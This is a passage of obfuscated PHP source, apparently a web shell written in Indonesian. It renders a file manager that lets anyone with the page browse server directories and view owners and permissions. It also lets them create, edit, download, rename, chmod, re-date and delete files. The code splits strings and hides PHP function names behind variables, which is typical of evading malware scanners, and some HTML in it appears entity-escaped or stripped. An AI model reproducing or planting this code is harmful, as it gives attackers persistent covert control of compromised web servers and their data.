  689. } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "dunlut") {
  690.  $dunlute = $_POST['piranhaloc'];
  691.  if ($fxt($dunlute) && isset($dunlute)) {
  692.   if ($ird($dunlute)) {
  693.    dunlut($dunlute);
  694.   } elseif ($idr($fl)) {
  695.    red("That is Di"."rec"."tory, Not Fi"."le -_-");
  696.   } else {
  697.    red("Fi"."le is Not Re"."adab"."le !");
  698.   }
  699.  } else {
  700.   red("Fi"."le Not Fo"."und !");
  701.  }
  702. } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "fo"."ld"."er") {
  703.     if ($isw("./") || $ird("./")) {
  704.         $loke = $_POST['piranhaloc'];
  705.         if (isset($_POST['buatfolder'])) {
  706.             $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']);
  707.             if ($buatf == true) {
  708.                 memeklim("Folder <b>".htmlspecialchars($_POST['fo'.'lde'.'rba'.'ru'])."</b> Created !");
  709.                 echo '&lt;form method="post"&gt;&lt;center>Folder : &lt;input type="text" name="fo'.'lde'.'rba'.'ru" class="up"&gt; &lt;input type="submit" name="buatfolder" value="Create folder" class="up"  pointer; border-color: #fff"&gt;&lt;br><br></center>';
  710.                 echo '&lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  711.                 &lt;input type="hidden" name="pilih" value="folder"&gt;&lt;/form>';
  712.             } else {
  713.                 red("Failed to Create folder !");
  714.                 echo '&lt;form method="post"&gt;&lt;center>Folder : &lt;input type="text" name="fo'.'lde'.'rba'.'ru" class="up"&gt; &lt;input type="submit" name="buatfolder" value="Create folder" class="up"  pointer; border-color: #fff"&gt;&lt;br><br></center>';
  715.                 echo '&lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  716.                 &lt;input type="hidden" name="pilih" value="folder"&gt;&lt;/form>';
  717.             }
  718.         } else {
  719.             echo '&lt;form method="post"&gt;&lt;center>Folder : &lt;input type="text" name="fo'.'lde'.'rba'.'ru" class="up"&gt; &lt;input type="submit" name="buatfolder" value="Create folder" class="up"  pointer; border-color: #fff"&gt;&lt;br><br></center>';
  720.             echo '&lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;&lt;input type="hidden" name="pilih" value="folder">&lt;/form&gt;';
  721.         }
  722.     }
  723. } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") {
  724.     if ($isw("./") || $isr("./")) {
  725.         $loke = $_POST['lok'.'nya'];
  726.         if (isset($_POST['buatfi'.'le'])) {
  727.             $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], "");
  728.             if ($fxt($loke."/".$_POST['fi'.'lebaru'])) {
  729.                 memeklim("File <b>".htmlspecialchars($_POST['fi'.'lebaru'])."</b> Created !");
  730.                 echo '&lt;form method="post"&gt;&lt;center>Filename : &lt;input type="text" name="fi'.'lebaru" class="up"&gt; &lt;input type="submit" name="buatfi'.'le" value="Create File" class="up"  pointer; border-color: #fff"&gt;&lt;br><br></center>';
  731.                 echo '&lt;input type="hidden" name="piranhaloc" value="'.$_POST['lok'.'nya'].'"&gt;
  732.                 &lt;input type="hidden" name="pilih" value="fi'.'le"&gt;&lt;/form>';
  733.             } else {
  734.                 red("Failed to Create File !");
  735.                 echo '&lt;form method="post"&gt;&lt;center>Filename : &lt;input type="text" name="fi'.'lebaru" class="up"&gt; &lt;input type="submit" name="buatfi'.'le" value="Create File" class="up"  pointer; border-color: #fff"&gt;&lt;br><br></center>';
  736.                 echo '&lt;input type="hidden" name="piranhaloc" value="'.$_POST['lok'.'nya'].'"&gt;
  737.                 &lt;input type="hidden" name="pilih" value="fi'.'le"&gt;&lt;/form>';
  738.             }
  739.         } else {
  740.             echo '&lt;form method="post"&gt;&lt;center>Filename : &lt;input type="text" name="fi'.'lebaru" class="up"&gt; &lt;input type="submit" name="buatfi'.'le" value="Create File" class="up"  pointer; border-color: #fff"&gt;&lt;br><br></center>';
  741.             echo '&lt;input type="hidden" name="piranhaloc" value="'.$_POST['lok'.'nya'].'"&gt;&lt;input type="hidden" name="pilih" value="fi'.'le">&lt;/form&gt;';
  742.         }
  743.     }
  744. }
  745. echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  746. <tr class="first">
  747. <td><center>N4'.'m3</center></td>
  748. <td><center>5!'.'z3</center></td>
  749. <td><center>L45'.'t M0'.'d!f'.'!3d</center></td>
  750. <td><center>0'.'wn'.'3r / Gr'.'0u'.'p</center></td>
  751. <td><center>P3'.'Rm!'.'55'.'!0n5</center></td>
  752. <td><center>0p'.'t!0'.'n5</center></td>
  753. </tr>';
  754.  
  755. echo "<tr>";
  756. $euybrekw = $srl($bsn($lokasi), "", $lokasi);
  757. $euybrekw = $srl("//", "/", $euybrekw);
  758. echo "<td><i class='fa fa-folder'  #ffe9a2'></i> <a piranhaloc=".$euybrekw.">..</a></td>
  759. <td><center>--</center></td>
  760. <td><center>".fdt($euybrekw)."</center></td>
  761. <td><center>".gor($euybrekw)." / ".ggr($euybrekw)."</center></td>
  762. <td><center>";
  763. if($isw($euybrekw)) echo '<font color="#009c12">';
  764. elseif(!$isr($euybrekw)) echo '<font color="red">';
  765. echo statusnya($euybrekw);
  766. if($isw($euybrekw) || !$isr($euybrekw)) echo '</font>';
  767. echo "</center></td>
  768. <td><center>>
  769. &lt;input type=\"hidden\" name=\"type\" value=\"dir\"&gt;
  770. &lt;input type=\"hidden\" name=\"name\" value=\"$ppkcina\"&gt;
  771. &lt;input type=\"hidden\" name=\"piranhaloc\" value=\"$lokasi/$ppkcina\"&gt;
  772. <button type='submit' class='btf' name='pilih' value='folder'><i class='fa fa-folder'  #fff'></i></button>
  773. <button type='submit' class='btf' name='pilih' value='file'><i class='fa fa-file'  #fff'></i></button>
  774. &lt;/form&gt;&lt;/center>";
  775. echo "</tr>";
  776.  
  777. foreach($lokasinya as $ppkcina){
  778.  $euybre = $lokasi."/".$ppkcina;
  779.  $euybre = $srl("//", "/", $euybre);
  780.  if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue;
  781.  echo "<tr>";
  782.  echo "<td><i class='fa fa-folder'  #ffe9a2'></i> <a piranhaloc=".$euybre.">".$ppkcina."</a></td>
  783.  <td><center>--</center></td>
  784.  <td><center>".fdt($euybre)."</center></td>
  785.  <td><center>".gor($euybre)." / ".ggr($euybre)."</center></td>
  786.  <td><center>";
  787.  if($isw($euybre)) echo '<font color="#009c12">';
  788.  elseif(!$isr($euybre)) echo '<font color="red">';
  789.  echo statusnya($euybre);
  790.  if($isw($euybre) || !$isr($euybre)) echo '</font>';
  791.  
  792.  echo "</center></td>
  793.  <td><center>>
  794.  &lt;input type=\"hidden\" name=\"type\" value=\"dir\"&gt;
  795.  &lt;input type=\"hidden\" name=\"name\" value=\"$ppkcina\"&gt;
  796.  &lt;input type=\"hidden\" name=\"piranhaloc\" value=\"$lokasi/$ppkcina\"&gt;
  797.  <button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil'  #fff'></i></button>
  798.  <button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar'  #fff'></i></button>
  799.  <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear'  #fff'></i></button>
  800.  <button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash'  #fff'></i></button>
  801.  &lt;/form&gt;&lt;/center></td>
  802.  </tr>";
  803. }
  804.  
  805. echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
  806. $skd = "10"."24";
  807. foreach($lokasinya as $mekicina) {
  808.  $euybray = $lokasi."/".$mekicina;
  809.  if(!$ifi("$lokasi/$mekicina")) continue;
  810.  $size = $fsz("$lokasi/$mekicina")/$skd;
  811.  $size = $rd($size,3);
  812.  if($size >= $skd){
  813.  $size = $rd($size/$skd,2).' M'.'B';
  814. } else {
  815.  $size = $size.' K'.'B';
  816. }
  817.  
  818. echo "<tr>
  819. <td>".cfn($euybray)." >$mekicina</a></td>
  820. <td><center>".$size."</center></td>
  821. <td><center>".fdt($euybray)."</center></td>
  822. <td><center>".gor($euybray)." / ".ggr($euybray)."</center></td>
  823. <td><center>";
  824. if($isw("$lokasi/$mekicina")) echo '<font color="#009c12">';
  825. elseif(!$isr("$lokasi/$mekicina")) echo '<font color="red">';
  826. echo statusnya("$lokasi/$mekicina");
  827. if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo '</font>';
  828. echo "</center></td><td><center>
  829. >
  830. <button type='submit' class='btf' name='pilih' value='edit'><i class='fa fa-edit'  #fff'></i></button>
  831. <button type='submit' class='btf' name='pilih' value='ubahnama'><i class='fa fa-pencil'  #fff'></i></button>
  832. <button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar'  #fff'></i></button>
  833. <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-gear'  #fff'></i></button>
  834. <button type='submit' class='btf' name='pilih' value='dunlut'><i class='fa fa-down"."load'  #fff'></i></button>
  835. <button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash'  #fff'></i></button>
  836. &lt;input type=\"hidden\" name=\"type\" value=\"fi"."le\"&gt;
  837. &lt;input type=\"hidden\" name=\"name\" value=\"$mekicina\"&gt;
  838. &lt;input type=\"hidden\" name=\"piranhaloc\" value=\"$lokasi/$mekicina\"&gt;
  839. &lt;/form&gt;&lt;/center></td>
  840. </tr>";
  841. }
  842. echo '</tr></td></table></table>';
  843. function statusnya($fl){
  844.  $a = "sub"."st"."r";
  845.  $b = "s"."pri"."ntf";
  846.  $c = "fil"."eper"."ms";
  847. $izin = $a($b('%o', $c($fl)), -4);
  848. return $izin;
  849. }
  850. ?&gt;